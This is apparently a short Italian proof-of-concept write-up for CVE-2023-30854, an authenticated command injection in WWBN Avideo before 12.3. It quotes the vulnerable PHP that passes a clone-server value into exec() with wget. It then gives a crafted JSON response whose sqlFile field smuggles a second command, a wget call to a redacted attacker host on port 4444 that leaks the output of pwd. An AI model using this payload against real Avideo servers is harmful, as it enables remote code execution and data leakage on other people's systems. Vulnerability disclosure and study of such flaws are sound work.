
Proof-of-concept exploit per CVE-2023-30854: injection di comandi OS autenticata in WWBN Avideo < 12.3, che consente l'esecuzione remota di codice tramite una risposta di clone server manipolata.
CVE-2023-30854 WWBN Avideo < 12.3 RCE Autenticato
Una vulnerabilità di iniezione di comandi OS in un endpoint autenticato /plugin/CloneSite/cloneClient.json.php consente agli attaccanti di ottenere l'esecuzione di codice remoto.
Codice vulnerabile:
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
Possiamo controllare $objClone->cloneSiteURL attraverso la funzione di clonazione del sito nel pannello di amministrazione.
/plugin/CloneSite/cloneClient.json.php invia una richiesta GET a {$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php. Ho ospitato un cloneServer.json.php appositamente predisposto che stampa i seguenti dati JSON
{"error":false,"msg":"","url":"https:\/\/REDACTED\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/demo.avideo.com\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget http://REDACTED:4444/`pwd` ;#","videoFiles":[],"photoFiles":[]}
Invia una richiesta GET a /plugin/CloneSite/cloneClient.json.php e viene raggiunta l'esecuzione di codice remoto.
